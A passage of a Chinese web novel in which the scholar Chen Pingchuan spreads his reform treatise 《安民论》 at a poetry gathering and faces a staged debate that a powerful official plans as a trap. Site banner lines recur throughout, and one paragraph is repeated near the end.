张廷玉看着那份手稿,神情从一开始的平静,到中途的震惊,再到最后的拍案叫绝,仿佛在无边黑夜中看到了破晓的曙光。 “此书……此书可救国!” 张廷玉猛地从太师椅上站起,他绕过书案,走到陈平川面前,一把抓住他的肩膀。 “平川!你不是在著书!你……你是在为我大业朝,立万世之基啊!” 书房外的游廊下,一名身着素雅长裙的女子端着茶盘,步履轻盈。 她被父亲书房里传出的激动喊声所吸引,不由得停下了脚步。 “父亲怎么了?” 张若素悄悄走到雕花木门边,透过门缝向里看去。 只见暖黄的灯光下,向来稳重如山的父亲,竟激动得老脸通红。 而在父亲对面,一个虽然清瘦、脊梁却挺得笔直如枪的年轻人,正静静地站立着。 “此书尽快刊印成册,传遍天下!让天下的读书人都看看!可是……”激动过后,张廷玉却面露难色,他重重叹了口气,“刊印、宣传,处处都需要银子,现在国库空虚,皇上拿不出钱来,老夫……老夫也囊中羞涩啊。” 张廷玉是出了名的清贫,家里的老房子屋顶破了,也一直没修,每逢下雨,便用水盆接着。 陈平川却似乎早有预料,他对着忧心忡忡的张廷玉,自信地拱手。 “大人不必担忧,钱的事,”他抬起头,眼睛里是运筹帷幄的笃定,“平川自有办法。” 听到张廷玉要送陈平川出来,张若素忙躲在阴影中,她也不知道为什么自己要躲起来,这里明明是她家。 等二人离开,她才走入书房,目光落在了陈平川那本《安民论》上。 她轻轻翻开了第一页。 “安民论”。 三个字,笔力雄健,仿佛能看到书写者那双沉稳而有力的手。 一个个清晰的墨字,以一种近乎白话的恳切,直白地剖析着这个王朝的沉疴。 她越看,心跳越快。 越看,呼吸越是急促。 PC站点如章节文字不全请用手机访问 那书中描绘的“以商制夷”的宏大蓝图,剖析的利弊得失,是她从未听过的惊世之论,却又如同一把钥匙,打开了她心中对这个国家的期盼。 这字里行间,没有空谈仁义道德,只有冰冷的数字,和滚烫的民生! 平川…… 父亲方才急切间,唤他平川。 一个念头如电光石火般击中了她。 难道他就是那个在金銮殿上舌战群儒,以一己之力撼动朝堂,最终却被太后一言禁足的新科状元,陈平川? 她以为那是个沽名钓誉的狂士,却不想,他的笔下,藏着如此深沉的经世济国之策。 一粒种子,在她心中悄然生根,发芽。 她想见见他。 不是透过雕花门缝的惊鸿一瞥,不是听父亲转述的只言片语,而是堂堂正正地,亲眼见一见这个写出《安民论》的男子。 …… PC站点如章节文字不全请用手机访问 第130章 京城诗会,陈平川要搞个大的! 京城,张府别院的后花园。 陈平川绕过太湖石假山,穿过挂着紫藤的回廊,循着一阵阵助威呐喊声,在一处种着芭蕉的角落里,找到了张金宝。 这位少爷正毫无形象地趴在青石板上,两眼放光,聚精会神地用一根草茎指挥着两只威风凛凛的蛐蛐大将军酣战。 他周围围着一圈眉开眼笑的小厮,正扯着嗓子呐喊助威,好不热闹。 “金宝。” 清朗的声音不大,带着一种奇特的穿透力,瞬间压过了所有的嘈杂。 张金宝一个激灵,猛地回头。 当看清来人是陈平川时,那张胖乎乎的脸上瞬间乐开了花。 他手脚并用地从地上爬起来,也顾不上那两只价值千金的“常胜将军”,带着一阵风冲了过来。 “大哥!你可算来找我了!” 张金宝一把抱住陈平川的胳膊,嘴里抱怨,“你成了翰林院的大学问家,就不理我了!我爹又不让我去那种地方寻你,我都快闷死了!” 他不由分说,拉着陈平川就要往外走。 “走走走!大哥,我知道一家新开的馆子,里面的烤乳鸽是一绝!皮脆肉嫩,老香了!我请客!” 陈平川却没有动,他反手拉住了张金宝,让张金宝不由自主地停下了脚步。 “金宝,”陈平川的语气前所未有的郑重,他看着张金宝的眼睛,那眼神认真,“大哥这次来,不是为了吃饭。是需要你帮个大忙。” 张金宝愣住了。 他看着陈平川严肃的脸,平日里的嬉笑,从他脸上褪去。 那张胖脸绷得紧紧的,他用力挺直了胸膛,学着戏文里那些义薄云天的好汉,将胸脯拍得“砰砰”作响。 “大哥!你说!需要我帮上忙?要钱,我给你拿!用人,我给你调!”他的声音又脆又响,掷地有声,“谁敢不听话,那就是不把我们张家放在眼里!” 很快,在张金宝不计成本的全力运作下,京城南郊一家毫不起眼的书坊,昼夜通明,开始工作。 最好的刻工被重金请来,最好的油墨、最好的竹纸,被一车车源源不断地送了进去。 坊内,刻刀划过木板的“沙沙”声与印刷机转动的沉重“吱嘎”声,日夜不休。 几天后,数百册散发着清新墨香,印刷精致、配有陈平川亲绘图表的《安民论》,被小心翼翼地用油布包裹,运了出来。 陈平川抚摸着书册封面那三个苍劲有力的大字,他知道,这星星之火,即将被他亲手点燃。 书印好了,可新的难题又摆在了面前。 如何将这些书,精准地送到那些能看懂、且能掀起波澜的读书人手里? 直接送去各大书院?那些皓首穷经的老夫子怕是看一眼书名,就要斥为蛊惑人心的歪理邪说,当作引火的废纸。 当街售卖?一本没有任何名气的新书,在浩如烟海的京城书市中,连一朵浪花都翻不起来。 沿街发放?动静太大,不等书送到人手里,官府和梁越的眼线就该像苍蝇一样找上门来了。 就在陈平川凝神思索之际,一阵轻快的脚步声伴着折扇开合的清脆声响传来。 PC站点如章节文字不全请用手机访问 林锦玉摇着他那把骚包的洒金扇,满面春风地走了进来。 “陈兄,好消息!”他毫不客气地一屁股坐下,自顾自倒了杯茶,一饮而尽,“三天后,城南流杯池,将举办京城最大的文人雅集‘兰亭诗会’。届时,京中有头有脸的文人雅士、世家子弟、甚至是轻易不出闺阁的名门才女,都会到场。” 他顿了顿,放下茶杯,用扇子指了指陈平川,意味深长地挤了挤眼睛。“我们新科三甲,可都在邀请之列。这等扬名立万的好机会,你不会不去吧?” 陈平川端着茶杯的手,微微一顿。 他的眼中,瞬间亮起一道骇人的精光。 一个大胆的计划,在他心中迅速成形。 他要去诗会,不仅要去,还要去送一份“大礼”! 没错,他要免费发放《安民论》给现场的文人学子! 张金宝听完了陈平川的计划,挠着胖脑袋,满脸费解。 “花了那么多银子印出来,大哥为啥要白送啊?这……这不成冤大头了?” 但他没有多问,大哥说怎么干,他就怎么干。 他立刻调集了府中数十名最机灵的家丁,让他们换上统一的青衣小帽,扮作伶俐的书童,每人背着一捆用油布包得严严实实的书册,只等诗会那天,跟着大哥去“搞个大新闻”。 与此同时,张大学士府。 一张烫金请柬,也送到了张若素的妆台之上。 兰亭诗会。 她听父亲无意中提起,陈平川可能也会应邀前往。 莫名地,她的心一紧,既紧张,又带着期待。 她想亲眼看看,那个写出《安民论》的年轻人,究竟是何等风采。 …… 京城南郊,流杯池。 此地乃是仿前朝兰亭雅事而建,引西山活水,凿九曲石渠,环抱着错落有致的亭台水榭。 此刻,这里人影交错,酒香与花香在微风中飘荡,一群群衣着华美的文人雅士临水而坐,谈笑风生,一派风流蕴藉的景象。 水榭之中,最为显眼的,莫过于新科榜眼欧阳锐。 他一袭月白云纹锦袍,腰悬美玉,手持一柄名贵的玉骨折扇,正被一群世家子弟与同科进士簇拥在中央。 他高谈阔论,从诗词歌赋到朝堂轶闻,无不信手拈来,言语间尽显睥睨之态,尽情享受着众星捧月的快意。 吏部侍郎之子燕世藩紧挨着他,满脸倨傲,不时敲着扇骨附和两声,每一个字都像是在提醒旁人自己的高贵出身,引来一片刻意的恭维与奉承。 水榭另一侧,隔着一道绣着淡雅兰草的薄纱帘,是女眷席。 林锦玉正坐于靠近纱帘的席位,他今日依旧是那副风流倜傥的模样,桃花眼中含着三分笑意,与里面几位女子谈笑风生,深受异性欢迎。 张若素选了个最不起眼的角落,安静地坐着。 她身着一袭素净的月白长裙,未施粉黛,却难掩其清丽脱俗的气质。 PC站点如章节文字不全请用手机访问 面前描金漆盘中的精致茶点,她分毫未动,一双清澈的眸子越过攒动的人头,越过那道朦胧的纱帘,一次次望向那条通往此地的青石小径,眼里带着期盼。 她平日就喜欢清净,不喜欢这种场合,今日若不是因为陈平川,她是不会来的。 PC站点如章节文字不全请用手机访问 第131章 一首诗震惊四座,一本书颠覆旧知 “看,新科状元陈平川来了!” 人群中,不知是谁压低了声音惊呼了一声。 这声音仿佛带着魔力,原本嘈杂喧闹的水榭,竟在瞬间安静下来,所有人的目光,齐刷刷地投向了入口。 陈平川独自一人,缓缓走来。 他身上穿着的,是一件朴素的青色布衣,脚下是一双再普通不过的布鞋。 他没有任何佩饰,没有任何随从,就这么孑然一身地走着,与周遭那些锦衣华服、环佩叮当的景象,形成了无比刺眼的对比。 短暂的死寂之后,几个不和谐的声音传了出来。 燕世藩用那柄金丝楠木的扇子夸张地掩住口鼻,阴阳怪气道:“咦?我们的状元郎来了!听说他被太后娘娘亲口赶出朝堂,然后躲在翰林院的杂物房面壁思过,怎么还有脸跑到我们这风雅之地来?” 欧阳锐“唰”地一声,潇洒地打开折扇,语气更加刻薄:“燕兄此言差矣。状元郎或许是来我们这风雅之地,寻些灵感,好写一封文采斐然的辞官归故里之奏疏呢!毕竟,体面地离开,总好过灰溜溜地被赶走啊!” “哈哈哈!” 两人哄然大笑,充满了快意。 纱帘后,张若素秀眉紧蹙,心中涌起一股厌恶。 林锦玉则轻轻摇了摇头,嘴角勾起一抹玩味的笑意,他相信,陈平川绝非任人揉捏的软柿子。 而被众人目光围剿的陈平川,脸上却毫无波澜。他仿佛没有听见那些刺耳的嘲讽,径直走到一处无人问津的空位坐下,等待诗会正式开始。 主持诗会的,是翰林院一位德高望重的老翰林。 他捋着花白的胡须,高声道:“今日雅集,效仿古人,便以‘国’为题,行飞花令,如何?” 众人轰然叫好,气氛再次热烈起来。 几轮下来,无非是“国破山河在,城春草木深”或是“烽火连三月,家书抵万金”之类的旧句。 虽是应景,却了无新意,不过是些陈词滥调的堆砌。 燕世藩也吟了两句,不过是歌功颂德,引来他那些狐朋狗友的叫好。 轮到林锦玉,他含笑说了一句“小楼一夜听春雨,深巷明朝卖杏花”,意境悠远,却巧妙地避开了锋芒,引来女眷席上一片赞许,连张若素都微微颔首。 就在此时,欧阳锐摇着扇子,缓缓站起身。他没有看向主持人,神色高傲。 “在下不才,也有一句,”他拉长了声调,朗声吟道,“‘玉楼天半起笙歌,风送宫嫔笑语和’!我大业国泰民安,四海升平,方有此等繁华盛景。但却有些心怀叵测之人,见不得我大业安好,总想着危言耸听,动摇国本啊!” 他话锋一转,嘴角勾起一抹轻蔑笑意,直接将矛头对准了陈平川:“陈状元,你被太后娘娘当众申斥,想必对这‘国’之一字,定有比我等更深刻的见解吧?何不吟诗一首,也让我等开开眼界?” 所有人的目光,再次聚焦在陈平川身上。 目光里有戏谑,有嘲弄,有纯粹的看热闹不嫌事大。 燕世藩更是身体前倾,只等着陈平川出丑后,大笑特笑。 陈平川没有理会那些挑衅的目光。 他缓缓起身,环视四周,将那些或幸灾乐祸,或麻木不仁,或故作清高的脸,一一收入眼底。 他没有对答飞花令。 PC站点如章节文字不全请用手机访问 一种沉郁顿挫,带着金戈铁马之声的语调,从他口中缓缓吐出。 “九州生气恃风雷,万马齐喑究可哀。” 满场喧闹,瞬间雅雀无声。所有人的笑容都渐渐收敛,换上惊讶的表情。 陈平川的目光扫过脸色开始剧烈变化的欧阳锐和燕世藩,声音陡然拔高,磅礴气势! “我劝天公重抖擞,不拘一格降人才!” 诗句落定,化为一道撕裂长空的闪电,炸响在流杯池畔! 现场陷入了死一般的寂静。 欧阳锐那张得意洋洋的脸,早已僵化,手中的玉骨折扇也差点掉在地上。 他原本还准备了一首风花雪月的诗句,还有无数羞辱陈平川的言辞,可是在这石破天惊的诗句面前,竟是那样的苍白无力,如同瓦砾之于珠玉,粪土之于星辰! 燕世藩更是浑身抑制不住地发抖,他张着嘴,望着那个青衣身影,却一个字都说不出来。 打死他,也写不出,不,是连想都不敢想如此气势恢宏的诗句! 纱帘之后,张若素一双美目中爆发出前所未有的异彩,她攥着手中的丝帕,指尖几乎要嵌进掌心,喃自语。 “这才是……这才是写出《安民论》的胸襟与气魄!” 这一刻,她心中那份淡淡的好奇,彻底化为了滚烫的倾慕与崇敬。 就在众人还沉浸在那石破天惊的诗句所带来的巨大冲击中时,陈平川轻轻地拍了拍手。 “啪!啪!” 随着两声清脆的掌声,早已等候在外的数十名身着统一青衣小帽的“书童”,瞬间涌入了会场。 他们动作整齐划一,散发着陈平川的新书,保证在场的每一位文人雅士,不论男女,人手一本。 “陈平川新作《安民论》,今日赠予天下同道,共商国是,不取分文!” 洪亮的声音,响彻全场。 众人先是错愕,随即纷纷低下头,打开了手中那本装帧朴素却质感极佳的书册。 诗会?飞花令?早已被他们抛到了九霄云外。 现场不再有吟诗作对,只剩下纸页翻动的“沙沙”声,以及众人越来越压抑不住的粗重呼吸声。 那通俗直白的语言,那清晰明了的图表,那颠覆了千百年传统认知的观点,刺激着他们僵化已久的思想! “国之大本,非在农桑之固,而在民心之活,货殖之通……” 一位白发苍苍的老儒生读到此处,激动得浑身发抖,他猛地从席位上站起,高举着书册大呼:“百年未闻此言!此乃经国之伟论!经国之伟论啊!” 而更多的年轻学子,则被书中那句“以商为刃,破蛮族之甲;以利为缰,驭万民之力”的锐利思想,彻底点燃了胸中的热血!他们仿佛看到了一条救国图存的崭新道路! 他们不约而同地围了过来,将陈平川簇拥在中央,眼中闪烁着近乎崇拜与狂热的光芒,仿佛看到了指引未来方向的灯塔。 欧阳锐和燕世藩见势不妙,脸色铁青地丢掉手中的书,厉声呵斥:“歪理邪说!此等重商轻农的贱商之术,也敢妄称经国?简直是蛊惑人心,荒谬至极!” “陈平川!你这是要动摇我大业的国本,你就是乱臣贼子!” PC站点如章节文字不全请用手机访问 第132章 异端邪说?至理名言?两派开撕,朝野震动! “此言差矣!” 就在此时,一道清脆而无比坚定的女声响起,如冰泉击石,压下了两人的污蔑。 张若素竟不顾闺阁礼节,从女眷席中快步走出,径直来到陈平川面前。 在无数道震惊的目光中,她对着陈平川,敛衽及地,盈盈一拜。 “先生之论,振聋发聩,字字珠玑。若素虽为一介女子,亦愿为先生摇旗呐喊,将此书传遍天下!” 此言一出,满场哗然! 这可是京城有名的才女!竟然对陈平川行此大礼!! 欧阳锐和燕世藩的脸,瞬间黑得比锅底还要难看。 论才学,他们两人加起来,恐怕都不如张若素一般,更不用提她背后还有个大学士的爹。 最终,这场兰亭诗会不欢而散,但一个比诗会本身更为巨大的风暴,已然酝酿成型。 数百册《安民论》,随着这些心思各异的文人雅士,如蒲公英的种子一般,即将在一夜之间,洒满京城的每一个角落。 …… 兰亭诗会之后,《安民论》这个名字,仿佛长了翅膀,一夜之间传遍京城。 最初那数百册赠书,转瞬成了价值连城的奇珍。 在文人雅士的圈子里,能借得一册亲阅,已是足以在酒宴上炫耀半月的谈资。 更有甚者,在灯下彻夜疾书,只为抄录一份,引为同道。 黑市上,一本字迹潦草的手抄本,价格从一两银子,被疯抢到了十两,依旧有价无市,一册难求。 张金宝的书坊成了全京城最热闹的地方,他按照陈平川的吩咐,将价格定得极低,开足了马力,昼夜不休地印刷。 当新一批装帧朴素却墨香四溢的《安民论》摆上京城各大书坊的柜台时,几乎是在一个时辰之内,就被那些翘首以盼、闻讯赶来的人群抢购一空。 京城,纸贵了。 一场思想的狂潮,以前所未有的猛烈姿态,呼啸而来。 整个京城的读书人圈子,被这本薄薄的册子,分成了泾渭分明的两大阵营。 国子监内,几个须发皆白的老学究将一本《安民论》重重摔在冰冷的地面上,气得老脸涨红,浑身发抖,仿佛看到了什么秽物。 “异端邪说!此书大倡工商,乃重商轻农,舍本逐末之言!我大业以农为本,此书乃是动摇我朝国本的毒草!” “蛊惑人心,其心可诛!必须立刻上奏,严惩作者陈平川,查禁此书,以正视听!” 他们痛心疾首,仿佛祖宗之法被刨了根基,当即联名上书,奏请朝廷立刻查禁此书,将作者下狱问罪。 然而,在那些临街的酒楼、喧闹的茶肆,在太学宽敞的学舍之内,却是另一番截然不同的景象。 “兄台如何看‘以商为刃,破蛮族之甲’此句?依我之见,此乃神来之笔!我大业积弱,边防空耗国力,年年税赋,大半投入北境这个无底洞中,此策若行,或可解此困局啊!” “何止!那句‘以利为缰,驭万民之力’更是点睛之论!圣人亦言,仓廪实而知礼节,衣食足而知荣辱。空谈仁义,腹中饥馁,又有何用?民不富,何以国强!” 无数思想开明、渴望变革的年轻士子,与那些在官场浮沉多年、郁郁不得志的寒门官员,将《安民论》奉为圭臬。 PC站点如章节文字不全请用手机访问 他们自发组织辩论,在报纸上展开激烈的笔墨论战,引用的句子,辩驳的观点,皆出自那本小册子。 一场前所未有的大思辨,以京城为中心,如同一场狂风,席卷向整个大业朝。 还有无数地方乡绅、手握万贯家财的巨贾,通过各种渠道弄到了这本奇书,被其中大胆而缜密的观点,震得彻夜难眠,在自家的书房里踱步到天明,开始重新审视这个国家的未来和自己的位置。 御书房内,灯火通明。 景帝看着面前小山般堆起的奏报,脸上却露出了发自内心的笑容。 这些奏报,一半是弹劾陈平川蛊惑人心的,另一半,却是张廷玉呈上来的,来自全国各地的民间舆情汇总。 他看到了一股力量,一股自下而上,连太后的懿旨、国舅的权势都无法轻易压制的力量,正在悄然形成。 这股力量,源于民心,源于天下读书人对未来的渴望,更是对一个强盛国家最朴素的期盼。 他修长的手指轻轻将一份弹劾奏折拂到一边,仿佛拂去灰尘,对侍立在旁的张廷玉低语,声音里带着兴奋。 “张爱卿,传话下去,让各地官府,静观其变,不得擅自弹压。朕,也想听听这天下人,到底想说些什么。” 林锦玉的府邸。 林锦玉已将《安民论》通读了不下十遍,每一遍,都让他心中那份敬意加深一层。 那个在翰林院八面玲珑,见谁都不得罪的探花郎,此刻脸上再无半分轻佻。 他铺开宣纸,笔走龙蛇,开始奋笔疾书。 他没有直接为《安民论》辩解,而是引经据典,从历朝历代盐铁专营的利弊谈起,以一种极为巧妙的角度,为陈平川那石破天惊的观点,提供了坚实的侧翼支撑。 他不再是那个置身事外的看客,他选择,站在这场风暴之中,为陈平川擂鼓助威! 而另一边,欧阳锐的府邸,气氛阴沉。 他也读了《安民论》。 不得不承认,那严密的逻辑,那宏大的构想,让他这个自诩才高八斗的榜眼,都感到了深深的震撼与无力。 他写不出吗,一个字也写不出。 可是这种源于才华碾压的折服,没有化为敬佩,反而转化为了更刻骨的嫉妒与怨恨。 “陈平川……”他从牙缝里挤出这个名字,“我一定要将你,彻底踩在脚下!” 国舅府。 森严的府邸内,光线幽暗,梁府大管家梁安脚步匆匆,神色前所未有的凝重。 他穿过重重回廊,最终停在了一间飘散着名贵檀香的书房外。 他对着里面那道人影,头深深地埋下。 “国舅爷,出事了。” 梁越端坐于太师椅上,捏着茶杯,半张脸都被阴影笼罩,看不清表情。 听着管家梁安将京城内外的情形,一五一十地禀报。 “现在陈平川那本《安民论》,已经不是我们想禁,就能禁得了的了。许多人自行抄录,私下传阅,根本抓不完,也堵不住啊!” PC站点如章节文字不全请用手机访问 第133章 龙潭虎穴鸿门宴?我要留取丹心照汗青! “啪!” 一声脆响,一只上好的汝窑茶盏,被梁越狠狠掼在地上,摔得粉碎。 梁越缓缓站起身,那张老脸阴霾密布。 他终于意识到,自己犯了一个错误。 从一开始,就不应该小看了那个状元郎,更小看了那本不起眼的小册子。 这哪里是什么书? 这分明是一把刀!一把正在撬动他梁家权力根基的刀! 他可以禁言陈平川,可以左右朝堂,但他堵不住天下悠悠众口! 良久,梁越眼中的滔天怒火渐渐褪去,取而代之的,是冰冷与狠辣。 他缓缓坐回太师椅,修长的手指在紫檀木桌面上,有一下没一下地轻轻敲击着。 “好,很好。”他的声音变得异常平静,“既然他喜欢辩论国策,那本国舅,就给他一个大大的舞台。” 他抬眼看向梁安,嘴角勾起一抹残忍的笑意。 “传我的话,就说太后娘娘仁慈,见朝野上下纷争不休,于心不忍。特下懿旨,三日后,在京城邀月楼,举办一场公开的经筵大辩!邀请陈平川,与朝中名宿大儒,共辨《安民论》之得失,以正视听!” 梁安浑身一颤,压低了声音,试探着问:“国舅爷的意思是……” 梁越的眼中,闪过凛冽杀机。 “昭告天下,让所有人都看着。他陈平川,不是想当救世主吗?那就让他来!” “他若不敢来,那《安民论》就是个笑话,他自己也会沦为天下最大的懦夫,从此身败名裂,再无立足之地!” “他若是来了……”梁越停顿了一下,语气森然如冰,“就让他,永远也走不出那座邀月楼!” 这道借太后之名发出的“懿旨”,很快就传遍整个京城。 所有人都明白,这不是什么经筵大辩。 这是一场为陈平川精心准备的鸿门宴! 是一场必死的绝杀之局! 张廷玉府上,张若素捏着那份昭告,素白的小脸血色尽褪,指尖冰凉。 翰林院里,林锦玉捏紧了手中的折扇,满眼焦灼。 …… 陈平川正在院中那棵老槐树下,悠然品茶。 秋日午后的阳光透过稀疏的叶隙,在他素净的青衣上洒下斑驳的光点,一派岁月静好。 张金宝像一头发疯的公牛,横冲直撞地闯了进来,一张肥脸涨得通红,额角的青筋突起。 “大哥!不能去!梁越那老王八蛋摆明了要你的命,不是要跟你辩论啊!” 陈平川抬起眼皮,看了一眼气喘吁吁的张金宝,修长的手指捏着茶盏,稳稳地为自己又续上一杯澄黄的茶汤。 PC站点如章节文字不全请用手机访问 “急什么。” “我能不急吗!你命都要没了!”张金宝急得直跺脚,肥硕的身躯在原地打转,“不行,我这就去把府里所有的家丁护院都叫上,咱们带着刀去!他梁越要是敢动你一根汗毛,我就跟他拼了!” 陈平川终于放下茶杯,正眼看他,嘴角却挂着一丝清冷的笑意。 “没错,梁越想杀我。但他更想杀的,是《安民论》这本书,是这本书里的道理。” 他伸出一根手指,在空中轻轻摇了摇。 “他布下天罗地网,不是为了看我血溅当场。那只会让我成为殉道者,让《安民论》成为不可动摇的圣言。他梁越,没那么傻。” 陈平川的目光变得锐利如刀,仿佛能剖开人心。 “他要的,是在全天下人面前,将我驳得体无完肤,让我亲口承认自己是胡言乱语,是异端邪说。他要诛的是我的心,毁的是我的名。只有这样,他才能把《安民论》连同我的骨头,一起踩进烂泥里,永世不得翻身。” 张金宝愣住了,他听不太懂这里面九曲十八弯的阴险算计,但大哥眼中的冷静让他狂躁的心稍稍安定。 陈平川继续开口,声音平淡:“所以,你若带着家丁护院,拿着刀枪去了,我反而更危险。那顶‘持械聚众,意图不轨’的帽子扣下来,他正好有了名正言顺的理由,将我当场格杀。” 此时,一名下人急冲冲送来一封信,封口处是张府的火漆印。 是张廷玉的信。 信中言辞恳切,劝陈平川暂避锋芒,以退为进,切勿意气用事,留得青山在,不怕没柴烧。 陈平川将信纸折好,放到一旁,神色未变。 没一会,林锦玉又一阵风似的赶了过来。 他一贯从容优雅的脸上,此刻写满了焦灼,没有了往日的潇洒从容。 “平川兄!这不是辩论,是陷阱!梁越之心,路人皆知!你若前去,恐怕性命堪忧!” 陈平川没有立刻回答,只是起身,为他倒上了一杯清茶,推到他面前。 “锦玉兄,谢谢你的好意。” 他看着林锦玉的眼睛,缓缓开口。 “但你可知,为何我要写《安民论》?” 他没有等林锦玉回答,目光望向了远方,那眼神深邃如渊,仿佛穿透了眼前的亭台楼阁,看到了万里之外的烽火与饥骨。 “因为我想到边关累累白骨,看到中原流民遍地!这世道,必须变革!但变革,总要有人流血。如果我的血,能唤醒更多麻木的人,能为这腐朽的王朝撕开一道哪怕微不足道的口子……” 他顿了顿,语气平静却坚定如铁。 “那便,死得其所!” 他缓缓站起身,望着天边那轮凄清的残月,用一种近乎咏叹的语调,一字一句地念了出来。 “人生自古谁无死,留取丹心照汗青!” 这两句诗,令人林锦玉呆立当场! 他看着陈平川那消瘦的背影,在这一刻,却觉得那身形无比高大,仿佛能撑起这片摇摇欲坠的天地。 内心深处那些明哲保身、患得患失的念头,在这一句诗面前,被击得粉碎,化为齑粉。 PC站点如章节文字不全请用手机访问 原来这才是读书人真正的风骨! 以身殉道,以血荐轩辕! 他心中对陈平川的情感,从最初的欣赏,到后来的敬佩,在这一刻,彻底升华为一种近乎信仰的追随。 林锦玉双拳紧握,指节发白,胸中一股久违的热血,被那句诗彻底点燃,烧得他四肢百骸都在沸腾。 他做出了一个重大的决定。 “平川兄,明日,我陪你同去!” …… PC站点如章节文字不全请用手机访问 第134章 梁国舅懵了,半个京城的文人士子都来了?! 张府之中,张若素从父亲口中得知了邀月楼之约,一张俏脸瞬间血色尽褪,如寒冬的白雪。 她绝不能眼睁睁看着那个写出《安民论》,那个胸怀天下的伟岸身影,就此陨落在宵小之辈的阴谋诡计之中。 心急如焚之下,她当机立断,快步回到自己的闺房。 铺开信纸,素手执笔,连夜写下数十封书信。 收信人,是京中那些曾对《安民论》表示过赞许的文人、士子。 信的内容很简单,只述说了陈平川三日后将孤身赴险,以一人之力,对阵满朝权贵,共辨国策。 在信的末尾,她是抬起手,拔下发间一支尖锐的银簪,毫不犹豫地刺破了自己莹白的指尖。 一滴殷红的血珠沁出,她将血手印按在雪白的宣纸上,覆盖住一行字。 “先生为国赴死,我辈岂能坐视?” …… 这一个夜晚,京城无数府邸的灯火,彻夜未熄。 张若素的书信,被连夜送出。 烛火下,无数年轻的面孔凝视着那行刺目的血字,他们胸膛中压抑已久的热血,彻底点燃了! 他们不再犹豫,不再观望,不再权衡利弊。 他们奔走相告,联络同道,一股无形的力量,在黎明前的黑暗中,迅速集结,汇成了一股看不见的洪流。 三日后,辩论会当天。 陈平川沐浴更衣,换上了一身干净的青色长衫。 他平静地吃完了早饭,神态自若,仿佛只是去赴一场普通的聚会。 张金宝双眼通红,一句话也说不出来,只是默默为他备好了马车,坚持要亲自送他到邀月楼前。 与此同时,邀月楼内外,早已被梁越的亲兵围得水泄不通,甲胄森森,刀柄在秋日下反射着冰冷的光,一只苍蝇都飞不进去。 楼内,欧阳锐、燕世藩等一众梁党文人早已落座,个个摩拳擦掌,眼神戏谑,准备在口舌之上将陈平川批得体无完肤,再踏上一万只脚。 梁越端坐主位,面沉如水,在他身后的巨大屏风之后,数十名身强力壮的刀斧手早已埋伏妥当,肌肉贲张,只等他一声令下,便会冲出将那状元郎剁为肉泥。 长街尽头,陈平川辞别了眼含泪光的张金宝,独自一人,走向那座朱漆大门紧闭,像一张择人而噬的巨兽之口的邀月楼。 秋风萧瑟,卷起几片枯黄的落叶,在青石板上打着旋儿,像是无处可归的亡魂。 长街之上,无数百姓在远处遥遥观望,神色复杂,有担忧,有好奇,亦有麻木。 他的身影,在萧瑟的秋风中,显得那般孤独,那般悲壮,又那般决绝。 走到了邀月楼朱红的大门前,他发现林锦玉已经等候多时。 “平川兄,林某陪你共赴黄泉!”林锦玉神色从容。 陈平川苦笑道:“锦玉兄,你这是何苦?” 他以为林锦玉昨日不过是说说而已,没想到还真来了。眼下把人赶走也不现实,只能一起进去了。 PC站点如章节文字不全请用手机访问 当陈平川的手,即将推开那扇沉重大门的那一刻。 他身后,突然响起了一阵急促的脚步声,由远及近,由零散渐为整齐,越来越响,仿佛汇成了一股洪流,带着撼动大地的力量,奔涌而来。 他回过头,看到了令他永生难忘的一幕。 只见长街的尽头,涌现出黑压压的人群,如同一片移动的森林,带着一股无声的压迫感,席卷了整条长街。 为首之人,竟是女扮男装的张若素! 她褪去了平日的罗裙钗环,换上了一身洗得发白的男式儒衫,长发以一根简单的木簪束在冠中。 秋风吹过,卷起她宽大的衣袂,露出一双纤细却站得笔直的腿。 她的面容因决绝而生出英气,眼眸此刻燃烧着不屈的火焰。 在她身后,是数百名头戴方巾、身穿儒衫的年轻士子。 他们面色肃穆,神情庄重,手中没有一件兵刃,却不约而同地,将一本本装帧朴素的《安民论》高举过顶。 那数百本书册,汇成了一片信仰的旗帜。 这股由笔墨与风骨汇成的洪流,沉默地、坚定地,带着一种足以撼动人心的力量,直抵邀月楼。 “陈先生!” 张若素快步走到陈平川面前,没有丝毫女儿家的羞怯,对着他深深一揖,动作干脆利落。 “今日辩论国策,我等皆是《安民论》的拥趸,理应同来!梁国舅要辩,我们就与他辩个明明白白!我等读书人,手无寸铁,唯有一腔热血,一颗公心!” 她的声音清如凤鸣,坚似磐石! 话音刚落,她身后那数百名士子,齐齐振臂,用尽全身力气,发出了一声撼天动地的呐喊。 “我等与陈先生共存亡!” 那声音如同一道惊雷,在长街上空滚滚炸开,远处围观的百姓无不骇然色变,他们从未见过,一向温文尔雅的读书人,能爆发出如此惊人的气势。 陈平川静静地看着眼前这一幕,看着这一张张因激动而涨红的年轻面孔,看着张若素那双亮得像寒夜里最璀璨的星辰的眼眸,有一瞬间的失神。 在他的灵魂深处,另一个时空的记忆翻涌上来,他仿佛看到了百年前,那些为了唤醒睡狮而走上街头的青年。 原来我不是一个人…… 一股滚烫的暖流,比任何烈酒都要醇厚,瞬间冲刷过他的四肢百骸。 他从未想过,自己当初在孤灯之下,蘸着墨汁写下的那些文字,竟在这么短的时间里,生根发芽,在他的身后,汇聚成了一片足以抵挡狂风的森林。 谁说古人迂腐守旧,他们比现代人更热血,更有风骨! 他的眼眶微微泛红,对着眼前的张若素,对着她身后所有的士子,深深地,长长地作了一揖。 这一揖,无比郑重,胜过千言万语。 邀月楼三楼,一扇雕花木窗之后,梁越将楼下发生的一切尽收眼底。 他脸上那份运筹帷幄的平静早已不见,取而代之的,是震惊,以及滔天愤怒。 他原本计划,是彻底孤立陈平川,用言语的利刃将其寸寸凌迟,再随意安上一个“妖言惑众”的罪名,让禁军名正言顺地将他拿下,烂死在诏狱之中。 PC站点如章节文字不全请用手机访问 可现在,京城里有头有脸的年轻文人士子,几乎来了一半! 他若动了陈平川,就等同于与整个大业朝士林精英为敌! 这个后果,即便是他,也承担不起! PC站点如章节文字不全请用手机访问 第135章 舌战群儒,状元郎杀疯了! “啪!” 一声脆响,一只上好的汝窑茶盏,被梁越狠狠掼在地上,摔得粉碎。 梁越缓缓站起身,那张老脸阴霾密布。 他终于意识到,自己犯了一个错误。 从一开始,就不应该小看了那个状元郎,更小看了那本不起眼的小册子。 这哪里是什么书? 这分明是一把刀!一把正在撬动他梁家权力根基的刀! 他可以禁言陈平川,可以左右朝堂,但他堵不住天下悠悠众口! 良久,梁越眼中的滔天怒火渐渐褪去,取而代之的,是冰冷与狠辣。 他缓缓坐回太师椅,修长的手指在紫檀木桌面上,有一下没一下地轻轻敲击着。 